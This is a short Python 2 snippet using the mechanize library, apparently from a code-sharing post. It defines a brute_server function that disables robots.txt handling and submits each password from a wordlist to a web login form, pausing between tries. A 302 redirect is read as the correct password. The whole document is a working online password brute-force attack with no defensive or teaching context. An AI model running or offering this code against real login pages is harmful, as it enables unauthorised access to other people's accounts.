mechanize python XE #18
def brute_server(server, user, password_list):
br = mechanize.Browser()
br.set_handle_equiv(False)
br.set_handle_redirect(False)
br.set_handle_referer(False)
br.set_handle_robots(False)
br.open(server)
pass_list = open(password_list)
for x in pass_list.readlines():
try:
time.sleep(3)
br.select_form( nr = 0 )
br.form[form_username] = user
br.form[form_password] = ''.join(x)
print "Checking ",''.join(x)
request = br.click(name=form_submit)
response = br.open(request)
if response.code == 200:
print "No dice..."
except HTTPError, e:
if e.code == 302: # Redirect is our success case
print "Correct password is ",''.join(x)